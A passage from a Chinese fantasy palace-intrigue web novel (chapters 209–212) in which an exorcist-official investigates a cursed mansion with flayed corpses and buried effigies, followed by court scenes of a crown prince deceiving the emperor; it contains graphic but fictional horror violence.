她知道,仅凭姜珩这点风流八卦,绝难撼动荣太傅这等万事以家族利益为先的老狐狸。
联姻之事涉及多方权衡,荣太傅未必会因此轻易改变主意。
但荣府并非铁板一块。
消息传进去,荣太傅或许不动如山,可荣府其他人呢?
世家大族的联姻,不仅看门第利益,也看名声体面。
即便今日搅不黄这桩联姻,荣府内部也会生出嫌隙,只待来日时机合适,姜珩与荣府这桩联姻,必定落空!
墨十七跟随云昭日久,早已能领会她未尽之意,闻言立刻点头:“司主放心,属下明白,定会‘详实’禀报。”
说罢,迅速转身去安排人手。
吩咐完毕,云昭走上台阶,伸手推开了阮府那扇隔绝阴阳的门扉。
“吱呀——”
令人牙酸的摩擦声在寂静的街巷中格外刺耳。
门开的一刹那,一股混杂着浓郁血腥的寒风扑面而来,激得人汗**倒竖。
映入眼帘的并非寻常官宦府邸的庭院景致,而是一片令人毛骨悚然的景象——
庭院正中,孤零零地矗立着一棵老树。
老树的枝叶却呈现出一种反常的墨绿色,在有些晦暗的天光下泛着幽幽的死气。
而更骇人的是,那虬结伸展的枝干上,赫然悬挂着六具“东西”!
那已很难称之为完整的尸身。
六具人形,皆被以极其残忍的手法剥去了全身皮肤,露出下面暗红交织的肌理,勾勒出扭曲痛苦的姿态。
它们被粗糙的麻绳穿过某些部位,吊在树枝上,随着阴风微微晃荡,如同晾晒的腊肉,却又远比那恐怖千万倍!
第209章 活剥人皮
浓烈的猩红血气与灰黑色秽气,在庭院上空盘旋、交织,形成一片肉眼可见的阴霾。
整个阮府前院都笼罩在一片死寂的灰败色调中。
几乎在踏入门槛的瞬间,云昭就感觉到一股阴寒顺着脚底蔓延而上。
她停下脚步,双眸之中灵光微闪,迅速扫过整个庭院布局与那冲天的怨秽之气,心中已有计较。
沉吟片刻,她头也未回,对身后众人沉声道:
“此处怨气冲天,秽阵已成,凶险异常。为避免不必要的伤亡和干扰,除孙婆子外,所有人退至门外等候。”
“不行!”萧启几乎是立刻斩钉截铁地反对。
他上前一步,与云昭并肩而立,目光扫过那悬挂的尸身与诡异的老树,眉头紧锁,“此等险地,我与你同进退。”
赵悉平日里虽有些吊儿郎当,此刻却也是神色凛然:“我好歹也是京兆府尹,查案缉凶是本分!把你们两个女子单独留在这鬼地方?没这个道理!”
一直默默跟在众人身后、存在感极低的裴琰之,此刻也抬起了苍白的脸。
他并未直接反驳云昭的命令,而是清晰平稳地陈述道:
“下官此前循着将家村线索追查,已查实阮家连同阮鹤卿本人、其妻殷若华、以及他们一双子女在内,府**计应有十一口人。
阮鹤卿本人此刻既在殷府,想必殷若华和一双子女也在。
如今树上六具尸身,说明还有一人下落不明。”
云昭看着眼前这三个态度坚决的男人,一时有些头疼。
她转回身,目光再次凝重扫过庭院当中那棵老树与六具剥皮尸身,缓缓开口:
“并非我危言耸听。有人在此处,以阮家人命为祭品,布下了一种极为阴毒的炼魂阵。
此阵借活剥人皮时的痛苦与怨气为引,强行凝聚阴煞,炼化生魂,滋养邪物。
阵中煞气极重,若是不慎被煞气侵体,怨魂缠身,轻则大病一场,折损寿元,重则神智迷失,成为阵中新的‘养料’。”
萧启沉声道:“正因为凶险,我才更需在你身侧。赵悉与裴琰之皆不擅武,若阵中真有邪物暴起或突发变故,他们难以护你周全!”
见他态度坚决,云昭知道再劝无用。
她从随身携带的药囊中取出一个莲子大小的珠子,递给萧启:“含于舌下。记住,进去之后,无论看到什么、听到什么,不要开口说话。”
倒不是云昭偏心,萧启身中恶诅,若无定魂珠护体,是极容易被邪祟率先攻击的对象。
云昭又转向裴琰之,从药箱中取出一套细长的金针。
她示意裴琰之解开前襟,露出心口附近的伤口。
指尖捻动金针,快如闪电,精准地刺入他伤口周围的几处要穴,深浅、力道妙到毫巅。
裴琰之只觉得几缕温热精纯的气息顺着金针渡入体内,整个人都感觉轻松了不少。
他长睫微颤,低垂下眼帘,掩去眸中复杂神色,哑声郑重道:“多谢姜司主施针。”
“走吧。”
云昭当先迈步,朝着那棵悬挂着六具剥皮尸身的老树走去。
孙婆子无声无息地紧随其后,如同她的影子。
萧启、赵悉、裴琰之三人互相对视一眼,也压下心中各自翻腾的思绪,迈过门槛,紧随而入。
“哐当。”
留守门外的军士们,依令关上了那扇沉重的朱漆大门。
*
“老话说,前不栽桑,后不栽柳,家中不栽鬼拍手。”
云昭的声音在死寂的庭院中显得格外清晰,
“鬼拍手,指的就是杨树。其叶宽大,风过时哗啦作响,如同鬼魂拍手,易招阴聚煞,扰乱家宅安宁。
寻常人家尚且避讳,阮家怎会在前院正中,种下这么一棵‘鬼拍手’?”
裴琰之闻言轻声道:“下官此前走访阮家旧邻时,曾听人提及,阮鹤卿高中之后,颇为得意,不止一次向外人夸耀,说新买下的这处大宅里,这棵杨树非常旺家!”
云昭忽而意识到了不对劲:“这不是阮家的祖宅?”
裴琰之摇了摇头:“阮家确实在京中有一处祖宅,但那宅子又小又破。
阮鹤卿高中探花之后,特意购置了这处大宅,用以让父母、弟弟弟媳和未出阁的妹妹一同居住。”
“据说自从搬进这家宅院,阮家接连迎来了两桩‘大喜事’。
其一,阮鹤卿与殷氏成亲不到一年,殷氏便顺利诞下一对龙凤胎,一时间传为佳话。
其二,更巧的是,同年稍晚,阮鹤卿那位原本子嗣艰难的弟媳,竟也诞下一对龙凤胎。
一年之内,阮家连添两对龙凤胎,此事当年在京中很是轰动了一阵,被视为阮家福泽深厚、双喜临门的美谈,阮家人也愈发将这棵杨树奉若神明。”
云昭听着,目光却再次落回那棵杨树,以及树上悬挂的六具血肉模糊、在阴风中微微晃荡的剥皮尸身上。
其中两具尸身形体明显矮小,骨骼纤细,约莫是七八岁孩童的身量;另外四具则是成人身材。
寻常人听了,只会觉得这杨树确实旺家;
可这段故事听在云昭耳中,却觉得惊悚莫名。
她盯着那棵枝繁叶茂、绿得发黑的杨树看了许久,缓步上前,伸出右手,掌心轻轻覆在粗糙皲裂的树干之上。
双眸微阖,一丝精纯的玄力自她掌心悄无声息地渡入树干。
玄瞳视界开启,云昭“看”到了更多。
须臾,她收回手,睁开眼,眸中闪过一
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丝了然:
杨树本就属阴,易招引游魂野鬼、汇聚地底秽气。
但这棵树的根系与树干之中,缠绕着经年累月的‘血食’供奉之气,还有一丝极其隐晦的香火愿力。
她轻声解释:“眼前这棵杨树,倒像是被人刻意‘养’在这里。”
她话音刚落,一直凝神观察四周的萧启,忽然眸光一凝。
他足下微点,身形已如鸿鹄般轻盈掠起,几个起落便跃上杨树虬结的枝干,目光锐利地扫视着枝叶深处。
片刻,他似是发现了什么,剑眉微蹙,抬腿猛地朝一处枝叶最茂密、怨气也最浓的枝桠交汇处踢去!
“咔嚓!”
一声轻响,一个黑乎乎的东西应声而落,“啪”地掉在树下松软的泥土上。
众人定睛看去,皆是一惊。
那是一个不过巴掌大小、雕刻粗糙的黑色木制牌位,上面用朱砂写着几行小字,虽有些模糊,但仍可辨认:
冤妻薛氏小玥暨未面幼子灵位
牌位前,还散落着一个已经干裂的圆形小木盘,盘中残留着一些彻底风干、颜色暗褐的块状物。
仔细分辨,隐约能看出曾是血肉的形状,只是早已失去生机,只余浓重不散的腥气与怨念。
“以血肉供奉他们亲手害死的薛氏女牌位?”赵悉倒吸一口凉气,“这阮家人莫不是疯了?”
云昭盯着那牌位和干涸的血肉盘,眉头紧锁。
她没有回答赵悉的问题,反而像是想到了什么,忽然蹲下身,开始用手直接挖掘杨树根部的泥土!
孙婆子见状,立刻明白她的意图,也毫不犹豫地上前,用随身的短匕帮忙挖掘。
两人动作很快,泥土纷飞。
萧启、赵悉、裴琰之虽不明所以,但也立刻警惕地环顾四周,以防不测。
不过挖了尺余深,孙婆子的**便碰到了硬物。
很快,一个约莫一尺见方、密封严实的桐油木盒,从潮湿阴冷的泥土中起了出来。
木盒表面刻满了扭曲诡异的符文,入手冰凉刺骨,仿佛握着一块寒冰。
云昭取出一张黄符贴在盒盖缝隙处,口中默诵净咒,驱散附着其上的阴秽之气,然后才小心地撬开盒盖。
“嘶——”
看清盒内之物,连见多识广的赵悉也忍不住再次倒吸冷气。
盒内整整齐齐,并排摆放着十一个高约三寸、以槐木雕成的小人偶!
每个人偶身上,都用鲜红如血的朱砂,清晰无比地写明了姓名与生辰八字!
云昭迅速扫过——
阮父、阮母、阮鹤卿、殷若华、阮鹤卿的一双龙凤胎儿女、阮鹤卿的妹妹、弟弟、弟媳,以及他们的一对龙凤胎……正是阮家上下十一口,一个不多,一个不少!
第210章 死劫就在今日
更为阴毒的是,每个人偶的心口、咽喉、四肢关节等要害处,都被细细的银针穿透钉住。
人偶的面部表情被雕刻得扭曲痛苦,仿佛正在承受极大的折磨。
云昭低喃:“是厌胜之术!”
云昭拿起其中一个人偶,指尖细细摩挲着人偶上刻画的符文走向。
好一会儿,她缓缓抬起头:“这不像是薛九针的手笔。”
众人闻言皆是一怔。
云昭解释道:“薛九针精通的是偏门咒术,这厌胜之术,阴毒入骨,如同冰水慢煮,是另一套截然不同的传承路数。薛九针不懂这些。”
如果懂,过去那些年,梅柔卿早就依样画葫芦,用在姜府和母亲苏氏身上了。
云昭回想起薛九针在祠堂中最后的从容与那番意味深长的话语。
他亲眼看着自己的“七煞轮回阵”被破,抱定与将家村同归于尽的决心,却为何半点不担心真正害死薛小玥的阮家满门?
以他偏执疯狂的性格,绝不可能草率处置复仇阮家这么重要的一环。
唯一的答案就是——
薛九针事先已经知道,阮家十一口必遭殃祸!
阮府七口惨死,阮鹤卿突然发狂咬人,此前云昭一直以为是薛九针催动阵法的诅咒。
可亲眼看到树下埋着的这些玩意儿,云昭就知,薛九针身后,必定还有帮手!且此人并非林氏!
他会是薛九针死前说的,她的身边之人吗?
正当她心思电转之际,一直警惕环顾的赵悉突然低喝一声:“什么人!”
几乎同时,裴琰之也猛地转头,锐利的目光射向庭院西侧一处月亮门后!
云昭立刻抬眼望去。
赵悉压低声音道:“我看到有一道血红色的影子,极快地闪了一下!”
裴琰之补充道:“不像鬼魅虚影,更像是个……活物。”
萧启闻言,手已按上剑柄,目光锁定了那处阴影,准备即刻追过去。
“不必追!”云昭冷声阻止。
她目光扫过被阴秽之气笼罩的庭院,又抬头看了看树上那六具血尸,冷静分析道:“这庭院布局诡异,内宅情况不明,贸然分散追击,风险太大。”
她一边说着,一边从孙婆子手中接过朱砂,以掌心沾水调匀,很快便在地上画成一个咒图!
随后,云昭将盛放着十一个诅咒人偶的桐木盒子,放在咒图正中心的太极鱼眼位置。
“嗡!”
一声低沉的颤鸣自咒图中响起!
紧接着,木盒开始剧烈地震动起来,盒盖被无形的力量冲撞得“咯咯”作响!
几乎同一时间,庭院深处,某个方向猛地传来一声非人的尖利嘶啸!
“咻——!”
破空之声骤起!
一道速度快到只剩下残影的血红色人影,如同失控的箭矢,从庭院最深处疯狂冲出!
它目标明确——
直扑向云昭脚下咒图中心的那只桐木盒!
离得近了,众人才看清这东西的样貌——
它大体保持着人形,四肢着地,行动如野兽般迅捷,但通体都被剥去了皮肤,只剩下鲜红蠕动的肌肉,不断有粘稠的暗红色液体从体表渗出滴落。
云昭看清这东西的模样,眼中非但没有惧色,反而双目晶亮:“是‘血怨傀’!”
她当即从腰间锦囊中飞快抽出五道符箓,迅速塞到其余几人手中,自己留了一道。
“站到四角上!”
五人刚刚站定,那“血怨傀”已经狂吼着冲到了咒图边缘!
云昭看准时机,左手持符,右手猛地一抖银鞭,精准卷起手中符箓,直朝咒图中央木盒袭去:
“乾坤借法,五星镇邪,束!”
随着她一声令下,站在其他四角的四人同时感到掌心符箓一热,脚下咒图光芒大盛!
“嗷——!!!”
血怨傀发出凄厉无比的惨嚎,在金光的束缚下,它宛如遇到烈阳的积雪,身形以肉眼可见的速度干瘪、缩小!
云昭见状,眼中喜色更浓。
她小心翼翼地操控着光网缓缓收缩,最终将那缩小的“血怨傀”,彻底压成一颗龙眼大小、色泽暗红的珠子,轻巧落入她早已准备好的玉盒之中。
“啪嗒。”盒盖合拢,隔绝了所有气息。
裴琰之心念微动,轻声问道:“姜司主不惜冒险,也要活捉此等邪物……可是此物另有他用?”
云昭颔首:“血怨傀至邪,但经玄法淬炼后,对某些深入魂魄、因果纠缠的奇毒恶诅,确有寻常药物难以企及的奇效。”
萧启闻言,不由心中淌过一脉暖流。
他的王妃素来面冷心热,方才不惜冒险、费尽心力收服这凶邪之物,必定是为了他身上的七玄钉恶诅!
殊不知,云昭这是身为医者的习惯,自小便养成了收集各种奇特材料的癖好。
而且,这东西的药性,也根本解不了萧启身上的七玄钉。
然而,在场所有人都未曾留意到,一旁裴琰之眼帘微垂,目光幽深地在那玉盒上停留了良久。
云昭将脚下“五星镇邪图”稍作改动,将其从“镇邪困魔”转向了“净化安宅”。
淡淡金色光晕以咒图为中心,如同水波般缓缓荡漾开去。
所过之处,空气中粘稠的阴冷怨气如同被无形之手拂拭,整间院落不复阴森衰败。
就在这时,朱漆大门外,突然传来一阵急促的“嘭嘭”敲门声。
紧接着,一个略带尖细的熟悉嗓音穿透门板传来:
“姜司主!姜司主!您可在里面?快开开门吧!杂家是常玉啊!”
是皇帝身边最得用的首领太监,常玉公公!
云昭眸光微动,心中已有猜测。
能让这位御前大太监亲自离宫、火急火燎地寻到这里,除了殷府那边事态紧急,恐怕再无他由。
不过,眼下阮宅最大的威胁“血怨傀”已被收服,净化咒图也已布下,暂时离开倒也无妨。
她对萧启等人略一点头,上前拔开门闩,缓缓拉开厚重的门扉。
只见常玉公公一身紫色**袍,脸上带着明显的焦灼,正不住地搓着手。
而他身侧,竟还跪着一名衣着华贵、却鬓发散乱、满脸泪痕的年轻妇人。
那妇人一见门开,目光瞬间锁定在云昭身上,未等常玉开口,便已重重叩首,声音凄切却清晰:
“妾身殷氏若华,求姜司主大发慈悲,救我夫君阮鹤卿性命!
只要司主肯出手,妾身……妾身愿倾尽殷家之力,筹措黄金万两,以酬司主大恩!
只求司主速速移步,解我殷家今日灭门之围啊!”
她姿态放得极低,眼中泪水涟涟,俨然一副为救夫郎不惜一切的贤良模样。
一旁的常玉公公赶忙上前两步,压低声音道:“哎呦喂我的小祖宗!您可真沉得住气!
陛下在宫里得知您没直接去殷府,反而先来了这阮家,当时那脸色就沉下来了!好悬没当场发作!
若不是后来接连有消息传回,说您当街教训了那跋扈的朱玉国公主,扬了我大晋威仪……
这趟来请您的,可就不是杂家了!”
云昭闻言,眉梢几不可察地一挑。
她和玉珠公主在街上那场“夺人”比试,消息竟已传到了宫里!
这京城的风,果然刮得比什么都快。
她也微微倾身,以仅容两人听见的音量问道:“还请公公明示,今日殷府之事,陛下究竟是何旨意?希望云昭如何行事?”
常玉公公声音压得更低,却字字清晰:“孟峥孟大将军,不止是贵妃兄长,更执掌南境兵权,震慑边陲!他的安危,牵动着军方稳定,乃至
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边境安宁!
陛下之意,孟将军,绝对不能有事,至少,不能在这个时候,以这种方式出事!
至于阮家这摊子事……邪祟害人,证据确凿,压不住,那就不压了,该查查,该办办。
但殷家,绝不能再**了!”
云昭的目光再度落在跪地的殷若华身上。
那是一张颇为富态的脸庞,面如满月,皮肤白皙。
殷若华的容貌算不上出众,但通身气度尽显世家千金的风范。
即便此刻跪地哀求,她的脊背依旧挺得笔直,看向云昭的眼神深处,除了焦急,并无半分畏缩与惶恐,反而隐隐透着一股笃定——
她笃定云昭必会答应,笃定自己此刻的哀求只是走个过场。
所谓的“黄金万两”,与其说是酬谢,不如说更像是一个刻意抛出的、让云昭难堪的幌子。
她身为玄察司主,朝廷命官,岂能公然收取如此巨额的私人酬金?
恐怕明日早朝,御史的**奏章立刻就能堆满御案。
云昭目光沉静,细细端详起殷若华的面相。
此女田宅宫丰润却带破耗,显示家资丰厚却恐有倾覆之危;
夫妻宫暗淡且有横纹截断,主夫星陨落、姻缘惨淡;
最紧要的是,她的疾厄宫与福德宫交汇之处,一团浓重的黑气盘踞不去,死劫之兆已现,
且应期……就在今日!
这殷若华对当年薛小玥与阮鹤卿的旧情,对阮家可能涉及的阴私,当真一无所知吗?
面相显示,她绝非懵懂之人。
云昭心中已有论断,但面上不显。
她转而看向常玉公公,朗声道:“常公公,您方才也听到了。
殷夫人深明大义,体恤朝廷办案艰难,自愿捐献黄金万两,襄助我玄察司日后购置药材、救治无辜、抚恤伤亡,以护佑京城安宁。
此等义举,实乃官民同心之典范。”
殷若华闻言,眼底闪过一丝错愕与愠怒,脸色都有些发青。
她万没想到云昭会如此顺水推舟!
那黄金万两本是句虚言,更是将云昭一军的手段,如今却好像真要坐实了!
她殷家虽不缺银钱,但也没有就这么嘴巴一开一阖,就捐出一万两黄金的道理!
孟大将军说的不错,这姜云昭真不是什么好东西!
常玉公公何等机灵,立刻顺着云昭的话头,对殷若华拱手笑道:
“殷夫人高义!心怀家国,慷慨解囊,此等义举,杂家回宫必定如实禀明陛下!
陛下素来褒奖忠义,知晓后,定会对殷家赞誉有加!”
殷若华胸口微微起伏,指甲几乎掐进掌心。
她咬着后槽牙,声音从牙缝里挤出:“常公公言重了。这都是妾身……身为大晋子民,该尽的本分。”
她迅速转移话题,语气带上急切,“还请姜司主速速移步,救我夫君!殷府上下,感激不尽!”
云昭不再多言,朝身后的墨十七低声吩咐了几句,命她带人严守阮宅,非她亲至或持她手令,七日内任何人不得入内。
那净化咒图需时日生效,期间不宜有人入内打扰。
一应安排妥当,云昭才对殷若华淡淡一笑:“殷夫人,带路吧。”
殷府,她确实该去一趟。
一来,将家村与阮家的恩怨,阮鹤卿是核心人物,只有见到他,许多谜团才能真正解开,此事也算了结。
二来,对阮家这宅子的诡异布置,对那棵被“供奉”的杨树,尤其是对萧启从树上踢下的、供奉着“薛小玥”的牌位……其中的因果关联,她实在好奇。
三来……云昭眼底掠过一丝冰冷的锋芒。
她既已决意**,这位护国大将军的命,就不能再留了。
至少,不能让他好端端活着,继续成为敌人手中的利刃。
第211章 掌中玩物
皇宫,清凉殿。
太子直挺挺跪在光可鉴人的青砖,望着御座之上身穿明黄常服的帝王,未语先泣:
“父皇,儿臣自知犯下大错,昨夜……昨夜一时不察,竟落入宋家嫡女的阴毒圈套!
待儿臣醒来,惊闻整个桃花咒案的原委,后怕不已,惶恐无地,特来向父皇请罪!”
说着,他颤抖着手,从袖袍中取出一物,双手高高捧起。
那是一个边缘已有磨损的符箓。
侍立一旁的内侍双喜立刻上前,小心翼翼地接过符箓,躬身呈至御案之上。
皇帝的目光落在那符箓上,并未立刻拿起,只是眼神又冷了几分。
太子见状,脸上的惊惶与后怕之色更浓,声音带着哭腔:“父皇,此物是儿臣夜半更衣时,在袖袋夹层中偶然发现的。
想来昨夜儿臣神智昏沉,行为失当,正是被此邪符暗中影响了心智,才做出那等荒唐之事!
儿臣绝非有意玷辱皇室清誉,实是遭奸人暗算啊!”
他一边说,一边重重叩首,额头触及冰凉的砖石,发出沉闷的声响。
这时,一直静立在太子身后的玉衡**,上前躬身一礼:
“陛下,贫道方才已为太子殿下请脉详察。
殿下确曾被‘桃花煞’一类阴损咒术侵蚀,虽因发现及时,未曾伤及根本,但邪气侵体,终究损了元气,尤以肾经亏耗为甚。
接下来至少需静心调养半年,辅以汤药与玄门导引之术,方能彻底拔除残秽,稳固根基,恢复如初。”
皇帝听着,面上怒色翻涌:“宋家!好一个诗礼传家的宰相门第!竟养出如此不知廉耻、胆大包天的女儿!”
他锐利的目光转向玉衡**:“母后凤体如何了?昨夜之事,可有惊扰?”
玉衡**再次躬身,姿态恭谨至极:“回陛下,太后娘娘凤体尚安。贫道今日进宫,亦是特来向陛下请罪。”
他脸上露出恰到好处的愧疚,“昨夜事发,贫道守卫不周,未能提前察觉……此乃贫道失职,请陛下责罚。”
皇帝的脸色缓和了些许,他摆了摆手,语气带着几分疲惫与无奈:“罢了。
母后身边有大内侍卫层层拱卫,她若一意孤行,偏要手下护送姜绾心入宫,你想阻拦也非易事。”
“谢陛下宽宥。”玉衡**深深一揖。
待他直起身,又道:“陛下,贫道今日入宫途中,见京城西北方向,有暗血色光柱冲天而起。
贫道当即掐算,得知有玄门高人出手,以雷霆手段化解了一桩积年冤孽,平息了阴煞之灾。
此等手段,实乃玄门正法典范,功德不小。”
皇帝闻言,眸光一闪,沉声道:“是姜云昭。她去了将家村处置邪秽。”
玉衡**流露出一丝惊诧:“竟是她?”
他掐指默算片刻,眉头几不可察地蹙了一下:“此女命格……确如贫道此前所判,刑克六亲,尤不利于夫妻子嗣,乃孤鸾入命。
然则单论玄门术法一道,观其破煞手法精妙老辣,确实有几分真本事,非寻常江湖术士可比。”
他这番评价,可谓“公允”至极。
既坚持了自己当初对云昭“克夫克子”命格的判断,又肯定了云昭在玄术上的才干。
他没有一味贬低,也没有突然转向吹捧,反倒愈显真诚。
然而皇帝听在耳中,心里却激起了一抹微妙的波澜。
为人臣子,姜云昭确是能吏干才;
可作为未来的秦王妃,她这命格,终究是个隐患。
若其“克夫克子”的命格为真,岂不是害了渊儿?
这种念头一旦滋生,便如同藤蔓般悄然缠绕。
皇帝心绪翻腾,面上却不显,只淡淡扫了一眼仍跪在地上的太子,沉声道:
“双喜,带玉衡**到偏殿稍候。朕前日得了些武夷山新进贡的‘大红袍’,正好请**品鉴一二。”
“谢陛下。”
玉衡**躬身行礼,目不斜视,神情依旧恬淡超然,仿佛方才所言皆是客观之论,毫无私心。
他跟在双喜身后,步履平稳地离开了清凉殿正殿。
殿门轻轻合拢,偌大的殿内,只剩下皇帝与太子父子二人,气氛愈发凝滞。
皇帝的目光如同沉重的山岳,缓缓压在太子身上,方才因玉衡**之言而起的些许缓和消失殆尽,取而代之的是更深沉的威压。
“逆子!”皇帝声音并不高,却带着刺骨的寒意,“你犯下的,仅仅是被妖女迷惑这一桩错吗?”
太子身体几不可察地一颤,将头垂得更低。
“你和那个姜家庶女,又是怎么回事?!”
皇帝的声音陡然拔高,带着压抑的怒火,“你是贪恋那姜绾心的美色,昏了头?还是因为朕给渊儿和姜云昭赐了婚,你处处都想与他较劲,也非要沾染一个姜家的女子?”
太子猛地抬起头,脸上血色尽失。他望着皇帝,嘴唇哆嗦着,眼眶迅速泛红,竟有泪水滚落。
“父皇!”他声音嘶哑,带着哭腔,仿佛鼓足了极大的勇气,不得不吐露深藏心底的隐秘,“儿臣不敢欺瞒父皇!儿臣确实……确实曾对姜氏云昭,心生仰慕!”
他像是豁出去了,不顾帝王瞬间更加阴沉的脸色,继续哽咽道:“她……她与寻常闺阁女子不同,聪慧果决,气度清华,儿臣初见时,便觉惊艳。
可后来……后来父皇为堂兄与她赐婚,儿臣便知此事再无可能。
堂兄他自幼失怙,四年前更遭逢大难,性命垂危。
与他相比,儿臣已是得天独厚,享尽父皇宠爱,身为储君,更当谨言慎行,为臣民表率。
儿臣纵然心中仍有恋慕,又岂敢再生出半分逾越之想?
那不仅是害了云昭,更是害了堂兄,辜负了父皇的信任与兄弟之情啊!”
太子言辞恳切,涕泪交流。
自成年后,他已许久未在皇帝面前展露如此脆弱的一面。
皇帝听着,面色几经变幻,最初的震怒渐渐被一种复杂的情绪取代。
他审视着下方哭得情真意切的儿子,想起他幼时的聪慧乖巧,想起他成为储君后的如履薄冰,也想起他近年来的确未曾与秦王有过明显的正面冲突……
人心都是肉长的,尤其面对自己从小看着长大的亲生骨血。
他固然恼怒太子的荒唐与无能,但更怕的是儿子心思歹毒、兄弟相残。
如今太子将过错归咎于“情难自禁”与“遭人算计”,虽然依旧可恨,却比蓄意争夺、心术不正要强多了。
皇帝沉默了许久,殿内一时间只余太子压抑的抽泣声。
最终,他重重地叹了一口气,那叹息声中充满了疲惫与无奈,却也透着一丝几不可察的松缓。
“难得……你能想清楚这些。”
皇帝的声音低沉下来,少了些雷霆之怒,多了些语重心长,
“朕既已立你为储君,便是将江山社稷、黎民百姓的未来托付于你。
朕盼你能修身立德,成为一代明君,而非耽于私情、惑于美色的昏聩之主。”
皇帝这样说着,心里却有一道
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声音道:可这些,太子真能做到吗?
“父皇教诲,儿臣字字铭记于心!此生绝不敢忘!”
太子闻言再次叩首,额头触地有声,涕泪越发汹涌,“经此一事,儿臣已如醍醐灌顶!从今往后,定当洗心革面,刻苦进学,勤勉政事,绝不再让父皇失望!”
他抬起头,脸上泪痕未干:“父皇,再过几日便是文昌大典,关乎文运,亦是彰显朝廷重学育才之心的盛事。
儿臣自知有错在身,大典一应筹备主持事宜,正应由堂兄负责,他处事公允,才干出众,定能办好。
然儿臣身为储君,若在此等重大典礼上缺席,恐会引起朝野猜测,反而不美……”
皇帝的脸色不由又缓和了几分:“罢了。你能迷途知返,朕很欣慰。下去吧。好生休养,莫要再令朕失望。”
“谢父皇!”太子重重叩首。
就在他准备起身退下时,似乎又想起了什么,他犹豫了一下,再次开口:
“父皇,儿臣听闻孟将军伤势颇重。
儿臣记得,十一岁那年失足跌入太液池,正是孟峥不顾自身安危,跳入冰湖将儿臣救起。
此等救命大恩,儿臣没齿难忘。如今孟将军有难,儿臣心中实在难安……
恳请父皇允准,让儿臣前往殷府探望,略尽心意。”
他绝口不提孟贵妃,不提皇后与孟家的关联,只提当年救命之恩,言辞恳切,情真意挚。
皇帝闻言,眼中闪过一丝复杂的幽光。
他审视着太子,片刻之后,终是颔首:“你有这份心,也好。去吧。”
“儿臣遵旨!谢父皇!”
太子缓缓起身,躬着身子,一步步**着出了清凉殿。
直到走出去很远,太子才意识到,自己脊背早已被冰凉的汗水浸透。
这汗,倒不全是吓出来的。
自从那夜与宋白玉颠鸾倒凤,他便觉得身子虚得厉害,男子雄风竟也大打折扣,每每意动,却总觉力不从心。
玉衡**入宫后,私下为他诊治时,神色颇为冷淡,甚至带着几分不易察觉的责备,
告诫他昨夜既已服下解毒的丹药,本该卧床静养,固本培元,岂能再不知节制,与女子交欢?
太子听了这责备,非但不恼,心中反而安定了些许。
看来自己并非真的“不行”了,只是受伤服药后又纵欲过度,未曾好生将养的缘故。
只要好生调理,假以时日,定能恢复如初。
回想起方才殿内,自己最后那番“情真意切”的忏悔,以及临走前皇帝脸上终究松动的神色,太子嘴角勾起一抹冰冷的弧度。
想毁掉一个女人,太容易了。
再有本事的女人,也难逃清白和婚姻的枷锁。
他只需做足姿态,让父皇相信,自己之前所有的荒唐、糊涂、乃至对兄弟的隐隐敌意,根源都在于对姜云昭那份“求而不得”的痴恋与不甘。
父皇自会将怒火与不满,转嫁到姜云昭身上。
女子本该温顺谦卑,依附男子而活。
似姜云昭那般冷傲不驯,光芒甚至盖过男子,本就犯了皇家大忌。
待到萧启毒发身亡,他不介意将那个跌入尘埃的姜云昭收为己用。
到那时,没了秦王的庇护,没了皇帝的欣赏,看她还能如何傲气?
不过是掌中玩物罢了。
他收敛心神,挺直腰背,朝着轿辇的方向行去。只是脚步依旧虚浮。
太子没有留意到的是,夕阳余晖的照映下,他的影子却比寻常人的淡了许多。
第212章 若是男孩,绝不能留
清凉殿内,鎏金兽炉余香袅袅,却驱不散帝王眉宇间的沉郁与倦色。
殿外传来一阵轻盈而熟悉的脚步声,伴随着环佩叮当的细微脆响,如同清泉滴落玉盘,瞬间打破了殿内的死寂。
皇帝抬眼望去。
柔妃一身烟霞色软罗宫装,袅袅婷婷地走了进来。
她脸上带着毫不掩饰的的欢喜,仿佛将殿外灿烂的晚霞都盛了进来。
“陛下——”她声音娇软,带着一丝恰到好处的嗔怪与亲昵。
皇帝原本紧蹙的眉头,在看到她身影的瞬间,便不自觉地舒展了几分:“你怎么来了?”
柔妃走到近前,很自然地伸出手,轻轻握住了皇帝放在扶手上的手:“陛下还说呢!明明答应臣妾,晚膳要过来陪臣妾一起用的。
臣妾左等右等,还不见陛下的影子,这才忍不住过来寻您……陛下可是将臣妾忘得一干二净了?”
她说着,微微撅起嘴,眼波流转间带着嗔意,像是一只被冷落了亟待安抚的猫儿。
皇帝被她这番模样逗得不禁失笑。
他反手握住柔妃柔软的小手,带着些许歉意地笑道:“是朕的不是。一忙起来,竟将答应你的事忘了个干干净净。该罚。”
他正说着,脑海中忽而闪过一事——
玉衡**还在偏殿候着呢。
柔妃却在这时忽然将皇帝的手轻轻抬起,覆在了自己微微隆起的小腹之上。
她抬起头,声音压得低低的,带着一丝神秘的喜悦:
“陛下,您摸摸……咱们的皇儿,方才在里面踢了臣妾好几下呢!”
皇帝早已不是初次为人父,后宫中为他诞育过子嗣的妃嫔也不少。
但柔妃年纪尚轻,性子又娇憨,她这般充满期待地分享着胎动的喜悦,忽而触动了帝王内心深处的柔软。
尽管此刻掌心并未感觉到胎动,但皇帝仍愿意配合,语气温和带笑:“怎么朕的手一放上来,这小家伙反倒安静了?”
柔妃眼波娇嗔地横了他一眼:“定是这小家伙也饿了,在跟臣妾一起生陛下的气呢!”
“是朕的错,饿着朕的爱妃和小皇子了。”
皇帝笑着起身,顺势揽住柔妃的腰肢,扶着她慢慢往殿外走去,“朕今晚好好陪你们用膳,算是赔罪。”
柔妃依偎在他身侧,柔软的小手与他宽厚的手掌十指相扣。
殿外,正是日落时分,晚霞漫天。
柔妃那只被皇帝握着的手,正好沐浴在这片霞光之中,其中一片指甲上的蔻丹,被映照得愈发晶莹柔润。
无人看见,柔妃眼底深处,闪过一抹冰冷的暗芒。
皇帝扶着她一同坐上等候的轿辇。
他叹了口气:“时间过得真快。朕有时看着你们,便觉得自己是真的老了……”
柔妃将头轻轻靠在皇帝肩上,声音软糯,带着毫不作伪的依恋:“陛下如今正是春秋鼎盛之时,哪里就老了?
在臣妾心里,陛下永远都是无所不能的。
这大晋的江山,还要靠陛下执掌许多许多年呢!
臣妾和孩子,都指望着陛下庇护。”
皇帝神色却是微微一怔。
柔妃无心的一句话,却像一颗投入心湖的石子,在他心中荡开了层层涟漪。
是啊,他才过不惑之年,身体康健,精力尚足,何以就急着断定身后之事?
太子……今日看似悔悟,可近来那些荒唐行径,终究像一根刺,扎在他心里,让他无法全然安心地将江山托付。
既然太子不称心,不尽如人意……那何妨,再多等一等,看一看?
